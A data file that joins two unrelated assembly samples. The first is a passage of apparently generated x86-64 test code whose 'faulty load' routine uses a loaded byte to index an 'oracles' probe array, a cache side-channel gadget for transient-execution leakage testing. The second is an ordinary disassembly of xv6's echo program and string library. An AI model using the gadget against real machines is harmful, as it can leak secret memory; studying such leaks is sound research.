sub %rbp, %rbp
mov $38, %rcx
rep movsb
nop
nop
nop
nop
nop
dec %rsi
lea addresses_A_ht+0xadd6, %rdx
nop
nop
nop
nop
dec %rcx
mov (%rdx), %rdi
nop
nop
nop
nop
and $31288, %rsi
lea addresses_WC_ht+0xa056, %rbp
nop
nop
dec %rbx
mov $0x6162636465666768, %rdx
movq %rdx, %xmm1
movups %xmm1, (%rbp)
nop
add %rdi, %rdi
lea addresses_A_ht+0x2558, %rsi
clflush (%rsi)
nop
nop
nop
nop
nop
add %rbp, %rbp
mov $0x6162636465666768, %rcx
movq %rcx, %xmm6
vmovups %ymm6, (%rsi)
nop
nop
add %r8, %r8
lea addresses_UC_ht+0xf0b6, %rsi
lea addresses_A_ht+0x17726, %rdi
nop
sub %rbx, %rbx
mov $20, %rcx
rep movsq
and $59749, %rbp
lea addresses_WC_ht+0x19456, %rsi
lea addresses_normal_ht+0x1d406, %rdi
nop
nop
nop
nop
cmp %r8, %r8
mov $41, %rcx
rep movsl
nop
nop
nop
nop
nop
cmp $41400, %rdx
lea addresses_WC_ht+0x1469a, %rsi
lea addresses_WC_ht+0x596, %rdi
cmp %rdx, %rdx
mov $105, %rcx
rep movsb
nop
add $47127, %rbp
lea addresses_WC_ht+0x17456, %rdi
nop
nop
nop
nop
add %rbx, %rbx
movb (%rdi), %cl
nop
nop
nop
dec %r10
lea addresses_WT_ht+0x17c56, %r8
nop
nop
nop
sub %rdx, %rdx
vmovups (%r8), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $1, %xmm1, %r10
nop
nop
nop
cmp $10426, %r8
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r15
push %r8
push %r9
push %rbp
// Load
lea addresses_A+0x14456, %r15
nop
nop
nop
nop
nop
dec %r9
mov (%r15), %r10
nop
nop
sub $52643, %rbp
// Store
lea addresses_WC+0x16556, %r13
nop
nop
nop
and %r8, %r8
mov $0x5152535455565758, %r12
movq %r12, (%r13)
nop
nop
nop
nop
and $43311, %r12
// Faulty Load
lea addresses_UC+0x19456, %r12
nop
nop
cmp %rbp, %rbp
movups (%r12), %xmm7
vpextrq $0, %xmm7, %r10
lea oracles, %r8
and $0xff, %r10
shlq $12, %r10
mov (%r8,%r10,1), %r10
pop %rbp
pop %r9
pop %r8
pop %r15
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_UC', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_UC', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 32, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': True}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': True, 'size': 32, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'37': 21827, 'fe': 2}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
|
_echo: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 57 push %edi
e: 56 push %esi
f: 53 push %ebx
10: 51 push %ecx
11: 83 ec 08 sub $0x8,%esp
14: 8b 31 mov (%ecx),%esi
16: 8b 79 04 mov 0x4(%ecx),%edi
int i;
for(i = 1; i < argc; i++)
19: 83 fe 01 cmp $0x1,%esi
1c: 7e 41 jle 5f <main+0x5f>
1e: bb 01 00 00 00 mov $0x1,%ebx
23: eb 1b jmp 40 <main+0x40>
25: 8d 76 00 lea 0x0(%esi),%esi
printf(1, "%s%s", argv[i], i+1 < argc ? " " : "\n");
28: 68 e0 07 00 00 push $0x7e0
2d: ff 74 9f fc pushl -0x4(%edi,%ebx,4)
31: 68 e2 07 00 00 push $0x7e2
36: 6a 01 push $0x1
38: e8 83 04 00 00 call 4c0 <printf>
3d: 83 c4 10 add $0x10,%esp
40: 83 c3 01 add $0x1,%ebx
43: 39 de cmp %ebx,%esi
45: 75 e1 jne 28 <main+0x28>
47: 68 e7 07 00 00 push $0x7e7
4c: ff 74 b7 fc pushl -0x4(%edi,%esi,4)
50: 68 e2 07 00 00 push $0x7e2
55: 6a 01 push $0x1
57: e8 64 04 00 00 call 4c0 <printf>
5c: 83 c4 10 add $0x10,%esp
exit();
5f: e8 f4 02 00 00 call 358 <exit>
64: 66 90 xchg %ax,%ax
66: 66 90 xchg %ax,%ax
68: 66 90 xchg %ax,%ax
6a: 66 90 xchg %ax,%ax
6c: 66 90 xchg %ax,%ax
6e: 66 90 xchg %ax,%ax
00000070 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
70: 55 push %ebp
71: 89 e5 mov %esp,%ebp
73: 53 push %ebx
74: 8b 45 08 mov 0x8(%ebp),%eax
77: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
7a: 89 c2 mov %eax,%edx
7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80: 83 c1 01 add $0x1,%ecx
83: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
87: 83 c2 01 add $0x1,%edx
8a: 84 db test %bl,%bl
8c: 88 5a ff mov %bl,-0x1(%edx)
8f: 75 ef jne 80 <strcpy+0x10>
;
return os;
}
91: 5b pop %ebx
92: 5d pop %ebp
93: c3 ret
94: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
9a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
000000a0 <strncpy>:
char* strncpy(char* s, char* t, int n) {
a0: 55 push %ebp
int i = 0;
a1: 31 d2 xor %edx,%edx
while((*s++ = *t++) != 0)
;
return os;
}
char* strncpy(char* s, char* t, int n) {
a3: 89 e5 mov %esp,%ebp
a5: 56 push %esi
a6: 53 push %ebx
a7: 8b 45 08 mov 0x8(%ebp),%eax
aa: 8b 5d 0c mov 0xc(%ebp),%ebx
ad: 8b 75 10 mov 0x10(%ebp),%esi
int i = 0;
char *os;
os = s;
while(((*s++ = *t++) != 0) && (++i < n));
b0: eb 0d jmp bf <strncpy+0x1f>
b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
b8: 83 c2 01 add $0x1,%edx
bb: 39 f2 cmp %esi,%edx
bd: 7d 0b jge ca <strncpy+0x2a>
bf: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx
c3: 84 c9 test %cl,%cl
c5: 88 0c 10 mov %cl,(%eax,%edx,1)
c8: 75 ee jne b8 <strncpy+0x18>
return os;
}
ca: 5b pop %ebx
cb: 5e pop %esi
cc: 5d pop %ebp
cd: c3 ret
ce: 66 90 xchg %ax,%ax
000000d0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
d0: 55 push %ebp
d1: 89 e5 mov %esp,%ebp
d3: 56 push %esi
d4: 53 push %ebx
d5: 8b 55 08 mov 0x8(%ebp),%edx
d8: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
db: 0f b6 02 movzbl (%edx),%eax
de: 0f b6 19 movzbl (%ecx),%ebx
e1: 84 c0 test %al,%al
e3: 75 1e jne 103 <strcmp+0x33>
e5: eb 29 jmp 110 <strcmp+0x40>
e7: 89 f6 mov %esi,%esi
e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
f0: 83 c2 01 add $0x1,%edx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
f3: 0f b6 02 movzbl (%edx),%eax
p++, q++;
f6: 8d 71 01 lea 0x1(%ecx),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
f9: 0f b6 59 01 movzbl 0x1(%ecx),%ebx
fd: 84 c0 test %al,%al
ff: 74 0f je 110 <strcmp+0x40>
101: 89 f1 mov %esi,%ecx
103: 38 d8 cmp %bl,%al
105: 74 e9 je f0 <strcmp+0x20>
p++, q++;
return (uchar)*p - (uchar)*q;
107: 29 d8 sub %ebx,%eax
}
109: 5b pop %ebx
10a: 5e pop %esi
10b: 5d pop %ebp
10c: c3 ret
10d: 8d 76 00 lea 0x0(%esi),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
110: 31 c0 xor %eax,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
112: 29 d8 sub %ebx,%eax
}
114: 5b pop %ebx
115: 5e pop %esi
116: 5d pop %ebp
117: c3 ret
118: 90 nop
119: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000120 <strncmp>:
int strncmp(const char *p, const char *q, int n) {
120: 55 push %ebp
121: 89 e5 mov %esp,%ebp
123: 57 push %edi
124: 56 push %esi
125: 53 push %ebx
126: 8b 5d 10 mov 0x10(%ebp),%ebx
129: 8b 75 08 mov 0x8(%ebp),%esi
12c: 8b 7d 0c mov 0xc(%ebp),%edi
int i = 0;
while(i < n && *p == *q)
12f: 85 db test %ebx,%ebx
131: 7e 28 jle 15b <strncmp+0x3b>
133: 0f b6 16 movzbl (%esi),%edx
136: 0f b6 0f movzbl (%edi),%ecx
139: 38 d1 cmp %dl,%cl
13b: 75 2b jne 168 <strncmp+0x48>
13d: 31 c0 xor %eax,%eax
13f: eb 13 jmp 154 <strncmp+0x34>
141: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
148: 0f b6 14 06 movzbl (%esi,%eax,1),%edx
14c: 0f b6 0c 07 movzbl (%edi,%eax,1),%ecx
150: 38 ca cmp %cl,%dl
152: 75 14 jne 168 <strncmp+0x48>
p++, q++, i++;
154: 83 c0 01 add $0x1,%eax
return (uchar)*p - (uchar)*q;
}
int strncmp(const char *p, const char *q, int n) {
int i = 0;
while(i < n && *p == *q)
157: 39 c3 cmp %eax,%ebx
159: 75 ed jne 148 <strncmp+0x28>
p++, q++, i++;
if (i < n)
return (uchar)*p - (uchar)*q;
else
return 0;
}
15b: 5b pop %ebx
while(i < n && *p == *q)
p++, q++, i++;
if (i < n)
return (uchar)*p - (uchar)*q;
else
return 0;
15c: 31 c0 xor %eax,%eax
}
15e: 5e pop %esi
15f: 5f pop %edi
160: 5d pop %ebp
161: c3 ret
162: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
int strncmp(const char *p, const char *q, int n) {
int i = 0;
while(i < n && *p == *q)
p++, q++, i++;
if (i < n)
return (uchar)*p - (uchar)*q;
168: 0f b6 c2 movzbl %dl,%eax
else
return 0;
}
16b: 5b pop %ebx
int strncmp(const char *p, const char *q, int n) {
int i = 0;
while(i < n && *p == *q)
p++, q++, i++;
if (i < n)
return (uchar)*p - (uchar)*q;
16c: 29 c8 sub %ecx,%eax
else
return 0;
}
16e: 5e pop %esi
16f: 5f pop %edi
170: 5d pop %ebp
171: c3 ret
172: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
179: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000180 <strlen>:
uint
strlen(char *s)
{
180: 55 push %ebp
181: 89 e5 mov %esp,%ebp
183: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
186: 80 39 00 cmpb $0x0,(%ecx)
189: 74 12 je 19d <strlen+0x1d>
18b: 31 d2 xor %edx,%edx
18d: 8d 76 00 lea 0x0(%esi),%esi
190: 83 c2 01 add $0x1,%edx
193: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
197: 89 d0 mov %edx,%eax
199: 75 f5 jne 190 <strlen+0x10>
;
return n;
}
19b: 5d pop %ebp
19c: c3 ret
uint
strlen(char *s)
{
int n;
for(n = 0; s[n]; n++)
19d: 31 c0 xor %eax,%eax
;
return n;
}
19f: 5d pop %ebp
1a0: c3 ret
1a1: eb 0d jmp 1b0 <memset>
1a3: 90 nop
1a4: 90 nop
1a5: 90 nop
1a6: 90 nop
1a7: 90 nop
1a8: 90 nop
1a9: 90 nop
1aa: 90 nop
1ab: 90 nop
1ac: 90 nop
1ad: 90 nop
1ae: 90 nop
1af: 90 nop
000001b0 <memset>:
void*
memset(void *dst, int c, uint n)
{
1b0: 55 push %ebp
1b1: 89 e5 mov %esp,%ebp
1b3: 57 push %edi
1b4: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
1b7: 8b 4d 10 mov 0x10(%ebp),%ecx
1ba: 8b 45 0c mov 0xc(%ebp),%eax
1bd: 89 d7 mov %edx,%edi
1bf: fc cld
1c0: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
1c2: 89 d0 mov %edx,%eax
1c4: 5f pop %edi
1c5: 5d pop %ebp
1c6: c3 ret
1c7: 89 f6 mov %esi,%esi
1c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000001d0 <strchr>:
char*
strchr(const char *s, char c)
{
1d0: 55 push %ebp
1d1: 89 e5 mov %esp,%ebp
1d3: 53 push %ebx
1d4: 8b 45 08 mov 0x8(%ebp),%eax
1d7: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
1da: 0f b6 10 movzbl (%eax),%edx
1dd: 84 d2 test %dl,%dl
1df: 74 1d je 1fe <strchr+0x2e>
if(*s == c)
1e1: 38 d3 cmp %dl,%bl
1e3: 89 d9 mov %ebx,%ecx
1e5: 75 0d jne 1f4 <strchr+0x24>
1e7: eb 17 jmp 200 <strchr+0x30>
1e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
1f0: 38 ca cmp %cl,%dl
1f2: 74 0c je 200 <strchr+0x30>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
1f4: 83 c0 01 add $0x1,%eax
1f7: 0f b6 10 movzbl (%eax),%edx
1fa: 84 d2 test %dl,%dl
1fc: 75 f2 jne 1f0 <strchr+0x20>
if(*s == c)
return (char*)s;
return 0;
1fe: 31 c0 xor %eax,%eax
}
200: 5b pop %ebx
201: 5d pop %ebp
202: c3 ret
203: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
209: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000210 <gets>:
char*
gets(char *buf, int max)
{
210: 55 push %ebp
211: 89 e5 mov %esp,%ebp
213: 57 push %edi
214: 56 push %esi
215: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
216: 31 f6 xor %esi,%esi
cc = read(0, &c, 1);
218: 8d 7d e7 lea -0x19(%ebp),%edi
return 0;
}
char*
gets(char *buf, int max)
{
21b: 83 ec 1c sub $0x1c,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
21e: eb 29 jmp 249 <gets+0x39>
cc = read(0, &c, 1);
220: 83 ec 04 sub $0x4,%esp
223: 6a 01 push $0x1
225: 57 push %edi
226: 6a 00 push $0x0
228: e8 43 01 00 00 call 370 <read>
if(cc < 1)
22d: 83 c4 10 add $0x10,%esp
230: 85 c0 test %eax,%eax
232: 7e 1d jle 251 <gets+0x41>
break;
buf[i++] = c;
234: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
238: 8b 55 08 mov 0x8(%ebp),%edx
23b: 89 de mov %ebx,%esi
if(c == '\n' || c == '\r')
23d: 3c 0a cmp $0xa,%al
for(i=0; i+1 < max; ){
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
23f: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1)
if(c == '\n' || c == '\r')
243: 74 1b je 260 <gets+0x50>
245: 3c 0d cmp $0xd,%al
247: 74 17 je 260 <gets+0x50>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
249: 8d 5e 01 lea 0x1(%esi),%ebx
24c: 3b 5d 0c cmp 0xc(%ebp),%ebx
24f: 7c cf jl 220 <gets+0x10>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
251: 8b 45 08 mov 0x8(%ebp),%eax
254: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
258: 8d 65 f4 lea -0xc(%ebp),%esp
25b: 5b pop %ebx
25c: 5e pop %esi
25d: 5f pop %edi
25e: 5d pop %ebp
25f: c3 ret
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
260: 8b 45 08 mov 0x8(%ebp),%eax
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
263: 89 de mov %ebx,%esi
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
265: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
269: 8d 65 f4 lea -0xc(%ebp),%esp
26c: 5b pop %ebx
26d: 5e pop %esi
26e: 5f pop %edi
26f: 5d pop %ebp
270: c3 ret
271: eb 0d jmp 280 <stat>
273: 90 nop
274: 90 nop
275: 90 nop
276: 90 nop
277: 90 nop
278: 90 nop
279: 90 nop
27a: 90 nop
27b: 90 nop
27c: 90 nop
27d: 90 nop
27e: 90 nop
27f: 90 nop
00000280 <stat>:
int
stat(char *n, struct stat *st)
{
280: 55 push %ebp
281: 89 e5 mov %esp,%ebp
283: 56 push %esi
284: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
285: 83 ec 08 sub $0x8,%esp
288: 6a 00 push $0x0
28a: ff 75 08 pushl 0x8(%ebp)
28d: e8 06 01 00 00 call 398 <open>
if(fd < 0)
292: 83 c4 10 add $0x10,%esp
295: 85 c0 test %eax,%eax
297: 78 27 js 2c0 <stat+0x40>
return -1;
r = fstat(fd, st);
299: 83 ec 08 sub $0x8,%esp
29c: ff 75 0c pushl 0xc(%ebp)
29f: 89 c3 mov %eax,%ebx
2a1: 50 push %eax
2a2: e8 09 01 00 00 call 3b0 <fstat>
close(fd);
2a7: 89 1c 24 mov %ebx,(%esp)
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
r = fstat(fd, st);
2aa: 89 c6 mov %eax,%esi
close(fd);
2ac: e8 cf 00 00 00 call 380 <close>
return r;
2b1: 83 c4 10 add $0x10,%esp
}
2b4: 8d 65 f8 lea -0x8(%ebp),%esp
2b7: 89 f0 mov %esi,%eax
2b9: 5b pop %ebx
2ba: 5e pop %esi
2bb: 5d pop %ebp
2bc: c3 ret
2bd: 8d 76 00 lea 0x0(%esi),%esi
int fd;
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
2c0: be ff ff ff ff mov $0xffffffff,%esi
2c5: eb ed jmp 2b4 <stat+0x34>
2c7: 89 f6 mov %esi,%esi
2c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000002d0 <atoi>:
return r;
}
int
atoi(const char *s)
{
2d0: 55 push %ebp
2d1: 89 e5 mov %esp,%ebp
2d3: 53 push %ebx
2d4: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
2d7: 0f be 11 movsbl (%ecx),%edx
2da: 8d 42 d0 lea -0x30(%edx),%eax
2dd: 3c 09 cmp $0x9,%al
2df: b8 00 00 00 00 mov $0x0,%eax
2e4: 77 1f ja 305 <atoi+0x35>
2e6: 8d 76 00 lea 0x0(%esi),%esi
2e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
2f0: 8d 04 80 lea (%eax,%eax,4),%eax
2f3: 83 c1 01 add $0x1,%ecx
2f6: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
2fa: 0f be 11 movsbl (%ecx),%edx
2fd: 8d 5a d0 lea -0x30(%edx),%ebx
300: 80 fb 09 cmp $0x9,%bl
303: 76 eb jbe 2f0 <atoi+0x20>
n = n*10 + *s++ - '0';
return n;
}
305: 5b pop %ebx
306: 5d pop %ebp
307: c3 ret
308: 90 nop
309: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000310 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
310: 55 push %ebp
311: 89 e5 mov %esp,%ebp
313: 56 push %esi
314: 53 push %ebx
315: 8b 5d 10 mov 0x10(%ebp),%ebx
318: 8b 45 08 mov 0x8(%ebp),%eax
31b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
31e: 85 db test %ebx,%ebx
320: 7e 14 jle 336 <memmove+0x26>
322: 31 d2 xor %edx,%edx
324: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
328: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
32c: 88 0c 10 mov %cl,(%eax,%edx,1)
32f: 83 c2 01 add $0x1,%edx
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
332: 39 da cmp %ebx,%edx
334: 75 f2 jne 328 <memmove+0x18>
*dst++ = *src++;
return vdst;
}
336: 5b pop %ebx
337: 5e pop %esi
338: 5d pop %ebp
339: c3 ret
33a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000340 <max>:
int max(int a, int b) {
340: 55 push %ebp
341: 89 e5 mov %esp,%ebp
343: 8b 55 08 mov 0x8(%ebp),%edx
346: 8b 45 0c mov 0xc(%ebp),%eax
if (b > a) return b;
else return a;
}
349: 5d pop %ebp
34a: 39 d0 cmp %edx,%eax
34c: 0f 4c c2 cmovl %edx,%eax
34f: c3 ret
00000350 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
350: b8 01 00 00 00 mov $0x1,%eax
355: cd 40 int $0x40
357: c3 ret
00000358 <exit>:
SYSCALL(exit)
358: b8 02 00 00 00 mov $0x2,%eax
35d: cd 40 int $0x40
35f: c3 ret
00000360 <wait>:
SYSCALL(wait)
360: b8 03 00 00 00 mov $0x3,%eax
365: cd 40 int $0x40
367: c3 ret
00000368 <pipe>:
SYSCALL(pipe)
368: b8 04 00 00 00 mov $0x4,%eax
36d: cd 40 int $0x40
36f: c3 ret
00000370 <read>:
SYSCALL(read)
370: b8 05 00 00 00 mov $0x5,%eax
375: cd 40 int $0x40
377: c3 ret
00000378 <write>:
SYSCALL(write)
378: b8 10 00 00 00 mov $0x10,%eax
37d: cd 40 int $0x40
37f: c3 ret
00000380 <close>:
SYSCALL(close)
380: b8 15 00 00 00 mov $0x15,%eax
385: cd 40 int $0x40
387: c3 ret
00000388 <kill>:
SYSCALL(kill)
388: b8 06 00 00 00 mov $0x6,%eax
38d: cd 40 int $0x40
38f: c3 ret
00000390 <exec>:
SYSCALL(exec)
390: b8 07 00 00 00 mov $0x7,%eax
395: cd 40 int $0x40
397: c3 ret
00000398 <open>:
SYSCALL(open)
398: b8 0f 00 00 00 mov $0xf,%eax
39d: cd 40 int $0x40
39f: c3 ret
000003a0 <mknod>:
SYSCALL(mknod)
3a0: b8 11 00 00 00 mov $0x11,%eax
3a5: cd 40 int $0x40
3a7: c3 ret
000003a8 <unlink>:
SYSCALL(unlink)
